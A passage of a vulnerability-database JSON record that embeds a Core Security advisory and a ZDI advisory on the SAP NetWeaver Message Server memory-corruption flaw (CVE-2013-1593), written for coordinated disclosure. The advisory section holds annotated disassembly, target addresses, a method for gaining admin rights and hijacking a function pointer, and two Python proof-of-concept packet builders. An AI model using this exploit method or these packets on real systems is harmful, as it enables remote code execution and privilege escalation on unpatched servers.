loc_44D39D\n.text:0044D37C ;\n---------------------------------------------------------------------------\n.text:0044D37C\n.text:0044D37C loc_44D37C: ; CODE XREF:\n_MsJ2EE_AddStatistics+70j\n.text:0044D37C mov al, [ebp+msflag]\n.text:0044D37F cmp al, 3\n.text:0044D381 jnz short loc_44D38B\n.text:0044D383 add [esi+30h], ebx ; iflag=0xc,\nflag=3 => add 1 to [esi+0x30]\n.text:0044D386 adc [esi+34h], ecx\n.text:0044D389 jmp short loc_44D39D\n.text:0044D38B ;\n---------------------------------------------------------------------------\n.text:0044D38B\n.text:0044D38B loc_44D38B: ; CODE XREF:\n_MsJ2EE_AddStatistics+91j\n.text:0044D38B cmp al, 2\n.text:0044D38D jnz short loc_44D397\n.text:0044D38F add [esi+28h], ebx ; iflag=0xc,\nflag=2 => add 1 to [esi+0x28]\n.text:0044D392 adc [esi+2Ch], ecx\n.text:0044D395 jmp short loc_44D39D\n.text:0044D397 ;\n---------------------------------------------------------------------------\n.text:0044D397\n.text:0044D397 loc_44D397: ; CODE XREF:\n_MsJ2EE_AddStatistics+9Dj\n.text:0044D397 add [esi+20h], ebx ; iflag=0xc,\nflag=1 => add 1 to [esi+0x20]\n.text:0044D39A adc [esi+24h], ecx\n\n[...]\n\n-----/\n And the following code excerpt is always executed within the\n'_MsJ2EE_AddStatistics' function, providing two more memory corruption\nprimitives:\n\n/-----\n.text:0044D3B7 add [esi],\nebx ;add 1 to [esi]\n.text:0044D3B9 adc dword ptr [esi+4], 0\n.text:0044D3BD mov eax,\n[edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully\ncontrolled by the attacker\n.text:0044D3C0 cdq\n.text:0044D3C1 add [esi+8],\neax ;add an arbitrary number to [esi+8]\n\n-----/\n This memory corruption vulnerability can be used by remote\nunauthenticated attackers to execute arbitrary code on vulnerable\ninstallations of SAP Netweaver, but it can also be abused to modify the\ninternal state of the vulnerable service in order to gain administrative\nprivileges within the SAP Netweaver Message Server. \n\nA client connected to the Message Server may have administrative\nprivileges or not. The Message Server holds a structure of type\n'MSADM_s' for each connected client, which contains information about\nthat very connection. Relevant parts of the 'MSADM_s' struct type are\nshown below:\n\n/-----\n00000000 MSADM_s struc ; (sizeof=0x538, standard type)\n00000000 ; XREF: .data:dummy_clientr\n00000000 client_type dd ? ; enum MS_CLIENT_TYPE\n00000004 stat dd ? ; enum MS_STAT\n00000008 connection_ID dd ?\n0000000C status db ?\n0000000D dom db ? ; XREF: MsSFillCon+3Cw\n0000000E admin_allowed db ?\n0000000F db ? ; undefined\n00000010 name dw 40 dup(?)\n[...]\n00000534 _padding db 4 dup(?)\n00000538 MSADM_s ends\n\n-----/\n The 'admin_allowed' field at offset 0x0E is a boolean value that\nindicates whether the connected client has administrative privileges or\nnot. When a new client connects, the 'MsSLoginClient' function of the\nMessage Server sets the proper value for the 'admin_allowed' field in\nthe 'MSADM_s' struct instance associated with that client:\n\n/-----\n.text:004230DC\nloc_4230DC: ; CODE\nXREF: MsSLoginClient+AAAj\n.text:004230DC\n ; MsSLoginClient+B26j\n.text:004230DC cmp byte ptr [edi+0Eh],\n0 ; privileged client?\n.text:004230E0 jnz short\nloc_4230EA ; if yes, jump\n.text:004230E2 mov al, byte ptr\nms_admin_allowed ; otherwise, grab the value of the\n\"ms_admin_allowed\" global variable... \n.text:004230E7 mov [edi+0Eh],\nal ; ...and save it to MSADM_s.admin_allowed\n\n-----/\n So if we manage to overwrite the value of the 'ms_admin_allowed' global\nvariable with a value different than 0, then we can grant administrative\nprivileges to our unprivileged connections. In SAP Netweaver\n'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global\nvariable is located at '0x008f17f0':\n\n/-----\n.data:008F17F0 ; int ms_admin_allowed\n.data:008F17F0 ms_admin_allowed dd ? ; DATA XREF:\nMsSSetMonitor+7Ew\n.data:008F17F0 ; MsSLoginClient+B62r\n\n-----/\n And the 'j2ee_stat_services' global array, which is the array that can\nbe indexed outside its bounds, is located at '0x0090b9e0':\n\n/-----\n.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]\n.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup()\n.data:0090B9E0 ; DATA XREF:\n_MsJ2EE_AddStatistics+24o\n.data:0090B9E0 ;\n_MsJ2EE_AddStatistics+4Co ... \n\n-----/\n So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be\ntargeting '0x008F17C8' as the base address for memory corruption. Having\nin mind the different memory corruption primitives based on combinations\nof 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and\n'flag == 0x2' in our Message Server packet we will be able to add 1 to\n'[0x008F17C8+0x28]', effectively overwriting the contents of\n'0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed',\nall of our future connections will have administrative privileges within\nthe Message Server. \n\nAfter gaining administrative privileges for our future connections,\nthere are at least two possible paths of exploitation:\n\n 1. Of\ncourse it is not mandatory to have administrative privileges in order to\noverwrite function pointers, but considering the limitation of\ntargetable addresses imposed by the little granularity of the memory\ncorruption, some of the most handy-to-exploit function pointers happened\nto be accessible just for administrative connections. \n 2. Modify the configuration and behavior of the server. That includes\nchanging Message Server's runtime parameters and enabling Monitor Mode\nin the affected server. \n\n8.1.1. *Gaining remote code execution by overwriting function pointers*\n\nHaving in mind that the granularity of the memory addresses that can be\ntargeted for memory corruption is not that flexible (0x48 bytes) and the\nlimited memory corruption primitives available, it takes some effort to\nfind a function pointer that can be overwritten with a useful value and\nwhich can be later triggered with a network packet. \n\nOne possibility is to overwrite one of the function pointers which are\nin charge of handling the modification of Message Server parameters:\n\n/-----\n.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]\n\n; function pointers associated to the modification of the \"ms/max_sleep\"\nparameter\n.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER\n\n\n; function pointers associated to the modification of the \"ms/max_vhost\"\nparameter\n.data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER \n\n[...]\n\n-----/\n By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target\n'0x0087DED8' as the base address for memory corruption. In this case we\ncan use the memory corruption primitive at address '0x0044D3C1' that\nalways gets executed, which will allow us to add an arbitrary number\n(the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]'\neffectively overwriting the function pointer shown above\n('ms_changeable_parameter[1].set'). \n\nAfter that we need to send a 'MS_SET_PROPERTY' request, specifying\n'ms/max_vhost' as the name of the property to be changed. This\n'MS_SET_PROPERTY' packet will make our overwritten function pointer to\nbe called from the 'MsSChangeParam' function:\n\n/-----\n.text:00404DB3 loc_404DB3: ; CODE XREF:\nMsSChangeParam+CDj\n.text:00404DB3 lea esi, [edi+edi*2]\n.text:00404DB6 mov edi, [ebp+pvalue]\n.text:00404DB9 add esi, esi\n.text:00404DBB mov edx,\nms_changeable_parameter.test[esi+esi]\n.text:00404DC2 add esi, esi\n.text:00404DC4 push edi\n.text:00404DC5 push pname\n.text:00404DC6 call edx ; call our\noverwritten function pointer\n\n-----/\n'MS_SET_PROPERTY' packets will be ignored by the Message Server if the\nrequesting client does not have administrative privileges, so it is\nnecessary to gain administrative privileges as explained above before\nusing the memory corruption vulnerability to overwrite one of the\nfunction pointers in the 'ms_changeable_parameter' global array. \n\n\n8.1.2. *Modify the configuration and behavior of the server*\n\nAfter gaining administrative privileges for our connections, it is\npossible to perform 'MS_SET_PROPERTY' packets against the Message Server\nin order to modify its configuration and behavior. That makes possible,\nfor example, to add virtual hosts to the load balancer, or to enable\nMonitor Mode [3] (transaction SMMS) on the affected server. Enabling\nMonitor Mode takes two steps:\n\n 1. Send a 'MS_SET_PROPERTY' packet with property 'name ==\n\"ms/monitor\"', property 'value == 1'. \n 2. Send a 'MS_SET_PROPERTY' packet with property 'name ==\n\"ms/admin_port\"', property 'value == 3535' (or any other arbitrary port\nnumber). \n\nThe following python code can be used to trigger the vulnerability:\n\n/-----\ndef send_attack(connection):\n print \"[*] Sending crash packet\"\n crash = '**MESSAGE**\\x00' # eyecatcher\n crash+= '\\x04' # version\n crash+= '\\x00' # errorno\n crash+= server_name # toname\n crash+= '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' #\nmsgtype/reserved/key\n crash+= '\\x04\\x0d' # flag/iflag\n crash+= client_string # fromname\n crash+= '\\x00\\x00' # padd\n\n crash+=\n\"ABCDEFGH\"+\"\\x01\\x00\\x00\\x00\"+\"MNOPQRSTUVWXYZ0123\"+\"\\x01\"+\"56789abcd\"\n crash+= \"\\x00\\x00\\x00\\x01\"\n crash+= \"\\xff\\xff\\xff\\xff\"\n crash+= \"\\x00\\x00\\x00\\x00\"\n send_packet(connection, crash)\n\n print \"[*] Crash sent !\"\n-----/\n\n\n\n8.2. \nMalicious packets are processed by the vulnerable function 'WRITE_C' in\nthe 'msg_server.exe' module. \n\nThe following python code can be used to trigger the vulnerability:\n\n/-----\ndef send_attack(connection):\n print \"[*] Sending crash packet\"\n crash = '**MESSAGE**\\x00' # eyecatcher\n crash+= '\\x04' # version\n crash+= '\\x00' # errorno\n crash+= server_name # toname\n crash+= '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' #\nmsgtype/reserved/key\n crash+= '\\x04\\x05' # flag/iflag\n crash+= client_string # fromname\n crash+= '\\x00\\x00' # padd\n\n crash+= \"AD-EYECATCH\\x00\"\n crash+= \"\\x01\\x01\"\n crash+= \"%11d\" % 104\n crash+= \"%11d\" % 1\n crash+= \"\\x15\\x00\\x00\\x00\"\n crash+= \"\\x20\\x00\\x00\\xc8\"\n crash+= \"LALA\" + ' '*(20-4)\n crash+= \"LOLO\" + ' '*(40-4)\n crash+= \" \"*36\n send_packet(connection, crash)\n\n print \"[*] Crash sent !\"\n\n-----/\n\n\n\n9. *Report Timeline*\n. 2012-12-10:\nCore Security Technologies notifies the SAP team of the vulnerability,\nsetting the estimated publication date of the advisory for January 22nd,\n2013. 2012-12-10:\nCore sends an advisory draft with technical details and a PoC. 2012-12-11:\nThe SAP team confirms the reception of the issue. 2012-12-21:\nSAP notifies that they concluded the analysis of the reported issues and\nconfirms two out of the five vulnerabilities. Vendor also notifies that\nthe other three reported issues were already fixed in February, 2012. \nVendor also notifies that the necessary code changes are being done and\nextensive tests will follow. The corresponding security note and patches\nare planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21:\nCore re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28:\nSAP notifies Core that they will be contacted if tests fails in order to\nre-schedule the advisory publication. 2013-01-22:\nFirst release date missed. 2013-01-28:\nSAP notifies that they are still confident with releasing a security\nnote and patches on Feb 12th as planned. 2013-01-29:\nCore acknowledges receiving the information and notifies that everything\nis ready for public disclosing on Feb 12th. Core also asks additional\ninformation regarding the patched vulnerabilities mentioned in\n[2012-12-21], including links to security bulletin, CVEs, and patches in\norder to verify if those patches effectively fix the reported flaws. 2013-02-01:\nSAP notifies that the patched vulnerabilities mentioned in [2012-12-21]\nwere reported in [5] and no CVE were assigned to them. Those\nvulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06:\nCore notifies that the patched vulnerabilities will be removed from the\nadvisory and asks additional information regarding the affected and\npatched version numbers. 2013-02-01:\nSAP notifies that the security note 1800603 will be released and that\nnote will provide further information regarting this vulnerability. 2013-02-13:\nAdvisory CORE-2012-1128 published. \n\n\n10. *References*\n\n[1] http://www.sap.com/platform/netweaver/index.epx. \n[2] SAP Security note Feb 2013\nhttps://service.sap.com/sap/support/notes/1800603. \n[3]\nhttp://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. \n\n[4]\nhttp://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. \n\n[5] SAP Security notes Feb 2012\nhttps//service.sap.com/sap/support/notes/1649840. \n[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. \n[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. \n[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. \n\n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security's software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company's Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2012 Core Security\nTechnologies and (c) 2012 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nZDI-12-104 : SAP Netweaver ABAP msg_server.exe Parameter Value Remote Code\nExecution Vulnerability\nhttp://www.zerodayinitiative.com/advisories/ZDI-12-104\nJune 27, 2012\n\n- -- CVE ID:\n\n\n- -- CVSS:\n10, AV:N/AC:L/Au:N/C:C/I:C/A:C\n\n- -- Affected Vendors:\nSAP\n\n- -- Affected Products:\nSAP NetWeaver\n\n\n- -- TippingPoint(TM) IPS Customer Protection:\nTippingPoint IPS customers have been protected against this\nvulnerability by Digital Vaccine protection filter ID 12407. \n\n\n- -- Vendor Response:\nSAP has issued an update to correct this vulnerability. More details can be\nfound at:\nhttp://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1\n0-eea7-ceb666083a6a#section40\n\n\n- -- Disclosure Timeline:\n2011-10-28 - Vulnerability reported to vendor\n2012-06-27 - Coordinated public release of advisory\n\n\n- -- Credit:\nThis vulnerability was discovered by:\n* e6af8de8b1d4b2b6d5ba2610cbf9cd38\n\n\n- -- About the Zero Day Initiative (ZDI):\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents \na best-of-breed model for rewarding security researchers for responsibly\ndisclosing discovered vulnerabilities. \n\nResearchers interested in getting paid for their security research\nthrough the ZDI can find more information and sign-up at:\n\n http://www.zerodayinitiative.com\n\nThe ZDI is unique in how the acquired vulnerability information is\nused. Instead, upon notifying the affected product vendor,\nTippingPoint provides its customers with zero day protection through\nits intrusion prevention technology. Explicit details regarding the\nspecifics of the vulnerability are not exposed to any parties until\nan official vendor patch is publicly available. Furthermore, with the\naltruistic aim of helping to secure a broader user base, TippingPoint\nprovides this vulnerability information confidentially to security\nvendors (including competitors) who have a vulnerability protection or\nmitigation product. \n\nOur vulnerability disclosure policy is available online at:\n\n http://www.zerodayinitiative.com/advisories/disclosure_policy/\n\nFollow the ZDI on Twitter:\n\n http://twitter.com/thezdi\n\n-----BEGIN PGP SIGNATURE-----\nVersion: PGP Desktop 10.2.0 (Build 1950)\nCharset: utf-8\n\nwsBVAwUBT+spXFVtgMGTo1scAQLsaAf7BDBhaaXu2xrm0nKo4KXmCuA091M40I4t\nuAkVEE7Zb4eFCtth3tsGSExGqDJp5LKfMe+KNfXUHMWcju+khxep8qfwxhnrtK2E\n1doQXQmrqCJunJLKwReEa5MpcZGsYyantq0kCczWf5ZYlzLEsSk51GEYfvHx7WrR\nXFTr4krClMcDxi9nOxNDr/CqqGxxQlDgBsMD3EyzVQ92PBG8kTZHUAJwBPqh7Ku3\nJqBWzVKDVVEsGxe7dlG4fXKIaDlCHaHJmsAr7+1Uw/DmfDOaTQMLRLvdGHY9Vpm6\nwGIQD/1eAW66eLSBOeWXiRNHcorXRwu/SxQP8zIESkmWLZwKfZqbMA==\n=t/ct\n-----END PGP SIGNATURE-----\n", "trust": 5.49, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d" }, { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" }, { "db": "VULMON", "id": "CVE-2013-1593" }, { "db": "BID", "id": "57956" }, { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "PACKETSTORM", "id": "120350" }, { "db": "PACKETSTORM", "id": "114279" }, { "db": "CNNVD", "id": "CNNVD-201302-368" }, { "db": "NVD", "id": "CVE-2013-1593" } ], "data": [ { "db": "NVD", "id": "CVE-2013-1593", "trust": 2.9 }, { "db": "BID", "id": "57956", "trust": 2.0 }, { "db": "SECTRACK", "id": "1028148", "trust": 1.7 }, { "db": "ZDI", "id": "ZDI-12-104", "trust": 0.9 }, { "db": "CNVD", "id": "CNVD-2012-3434", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2012-3433", "trust": 0.8 }, { "db": "ZDI", "id": "ZDI-12-112", "trust": 0.8 }, { "db": "ZDI", "id": "ZDI-12-111", "trust": 0.8 }, { "db": "JVNDB", "id": "JVNDB-2013-007128", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-1396", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-1394", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-1395", "trust": 0.7 }, { "db": "BID", "id": "54229", "trust": 0.6 }, { "db": "BID", "id": "54231", "trust": 0.6 }, { "db": "CNNVD", "id": "CNNVD-201302-368", "trust": 0.6 }, { "db": "IVD", "id": "29348194-1F62-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "29FDB3DE-1F62-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "120350", "trust": 0.2 }, { "db": "VULMON", "id": "CVE-2013-1593", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "114279", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" } ], "data": true, "trust": 1.87111164, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 1.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" }, { "db": "VULMON", "id": "CVE-2013-1593" }, { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "CNNVD", "id": "CNNVD-201302-368" } ], "data": [ { "title": "SAP has issued an update to correct this vulnerability.", "url": "https://websmp230.sap-ag.de/sap(bd1lbizjptawmq==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649840", "trust": 1.4 }, { "title": "top page", "url": "https://www.sap.com/japan/index.html", "trust": 0.8 }, { "title": "SAP has issued an update to correct this vulnerability.", "url": "https://websmp230.sap-ag.de/sap(bd1lbizjptawmq==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649838", "trust": 0.7 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/18435", "title": "SAP Netweaver ABAP 'msg_server.exe' parameter name patch for remote code execution vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/18434", "title": "SAP Netweaver ABAP 'msg_server.exe' patch for buffer overflow vulnerability", "trust": 0.6 }, { "title": "SAP NetWeaver ‘msg_server.exe’ Remediation measures for remote denial of service vulnerabilities", "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=108971", "trust": 0.6 }, { "title": "martingalloar", "url": "https://github.com/martingalloar/martingalloar ", "trust": 0.1 }, { "title": "publications", "url": "https://github.com/martingalloar/publications ", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d" }, { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" }, { "db": "VULMON", "id": "CVE-2013-1593" }, { "db": "BID", "id": "57956" }, { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "PACKETSTORM", "id": "120350" }, { "db": "PACKETSTORM", "id": "114279" }, { "db": "CNNVD", "id": "CNNVD-201302-368" }, { "db": "NVD", "id": "CVE-2013-1593" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "NVD", "id": "CVE-2013-1593" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-129" }, { "trust": 0.8, "problemtype": "Improper validation of array index (CWE-129) [NVD Evaluation ]" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-12-112" }, { "db": "ZDI", "id": "ZDI-12-111" }, { "db": "ZDI", "id": "ZDI-12-104" }, { "db": "CNVD", "id": "CNVD-2012-3434" }, { "db": "CNVD", "id": "CNVD-2012-3433" }, { "db": "VULMON", "id": "CVE-2013-1593" }, { "db": "BID", "id": "57956" }, { "db": "JVNDB", "id": "JVNDB-2013-007128" }, { "db": "PACKETSTORM", "id": "120350" }, { "db": "PACKETSTORM", "id": "114279" }, { "db": "CNNVD", "id": "CNNVD-201302-368" }, { "db": "NVD", "id": "CVE-2013-1593" } ], "data": [ { "url": "https://www.coresecurity.com/content/sap-netweaver-msg-srv-multiple-vulnerabilities", "trust": 2.6 }, { "url": "http://www.securityfocus.com/bid/57956", "trust": 1.7 }, { "url": "https://packetstormsecurity.com/files/cve/cve-2013-1593", "trust": 1.7 }, { "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/82065", "trust": 1.7 }, { "url": "http://www.securitytracker.com/id/1028148", "trust": 1.7 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1593", "trust": 1.5 }, { "url": "https://websmp230.sap-ag.de/sap(bd1lbizjptawmq==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649840", "trust": 1.4 }, { "url": "https://websmp230.sap-ag.de/sap(bd1lbizjptawmq==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649838", "trust": 0.7 }, { "url": "http://seclists.org/bugtraq/2012/jun/186", "trust": 0.6 }, { "url": "http://seclists.org/bugtraq/2012/jun/185", "trust": 0.6 }, { "url": "http://www.sap.com/platform/netweaver/index.epx", "trust": 0.3 }, { "url": "https://cwe.mitre.org/data/definitions/129.html", "trust": 0.1 }, { "url": "https://nvd.nist.gov", "trust": 0.1 }, { "url": "https://packetstormsecurity.com/files/120350/sap-netweaver-message-server-buffer-overflow.html", "trust": 0.1 }, { "url": "https://github.com/martingalloar/martingalloar", "trust": 0.1 }, { "url": "http://corelabs.coresecurity.com.", "trust": 0.1 }, { "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc.", "trust": 0.1 }, { "url": "https://service.sap.com/sap/support/notes/1800603.", "trust": 0.1 }, { "url": "http://corelabs.coresecurity.com/", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-12-104/.", "trust": 0.1 }, { "url": "http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.", "trust": 0.1 }, { "url": "http://www.sap.com/platform/netweaver/index.epx.", "trust": 0.1 }, { "url": "http://www.coresecurity.com.", "trust": 0.1 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1592", "trust": 0.1 }, { "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/", "trust": 0.1 }, { "url": "http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-12-112/.", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-12-111/.", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/disclosure_policy/", "trust": 0.1 }, { "url": "http://twitter.com/thezdi", "trust": 0.1 }, { "url": "http://www.tippingpoint.com", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com", "trust": 0.1 }, { "url": "http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-12-104", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-12-112", "date": "2012-06-28T00:00:00" }, { "db": "ZDI", "id": "ZDI-12-111", "date": "2012-06-28T00:00:00" }, { "db": "ZDI", "id": "ZDI-12-104", "date": "2012-06-27T00:00:00" }, { "db": "CNVD", "id": "CNVD-2012-3434", "date": "2012-07-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2012-3433", "date": "2012-07-02T00:00:00" }, { "db": "VULMON", "id": "CVE-2013-1593", "date": "2020-01-31T00:00:00" }, { "db": "BID", "id": "57956", "date": "2013-06-12T18:46:00" }, { "db": "JVNDB", "id": "JVNDB-2013-007128", "date": "2020-02-14T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201302-368", "date": "2020-05-26T00:00:00" }, { "db": "NVD", "id": "CVE-2013-1593", "date": "2020-01-31T16:42:13.070000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d", "date": "2012-07-02T00:00:00" }, { "db": "IVD", "id": "29fdb3de-1f62-11e6-abef-000c29c66e3d", "date": "2012-07-02T00:00:00" }, { "db": "ZDI", "id": "ZDI-12-112", "date": "2012-06-28T00:00:00" }, { "db": "ZDI", "id": "ZDI-12-111", "date": "2012-06-28T00:00:00" }, { "db": "ZDI", "id": "ZDI-12-104", "date": "2012-06-27T00:00:00" }, { "db": "CNVD", "id": "CNVD-2012-3434", "date": "2012-07-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2012-3433", "date": "2012-07-02T00:00:00" }, { "db": "VULMON", "id": "CVE-2013-1593", "date": "2020-01-23T00:00:00" }, { "db": "BID", "id": "57956", "date": "2013-02-13T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2013-007128", "date": "2020-02-14T00:00:00" }, { "db": "PACKETSTORM", "id": "120350", "date": "2013-02-15T23:44:44" }, { "db": "PACKETSTORM", "id": "114279", "date": "2012-06-28T03:51:55" }, { "db": "CNNVD", "id": "CNNVD-201302-368", "date": "2013-02-22T00:00:00" }, { "db": "NVD", "id": "CVE-2013-1593", "date": "2020-01-23T20:15:11.730000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "PACKETSTORM", "id": "120350" }, { "db": "PACKETSTORM", "id": "114279" }, { "db": "CNNVD", "id": "CNNVD-201302-368" } ], "data": "remote", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": 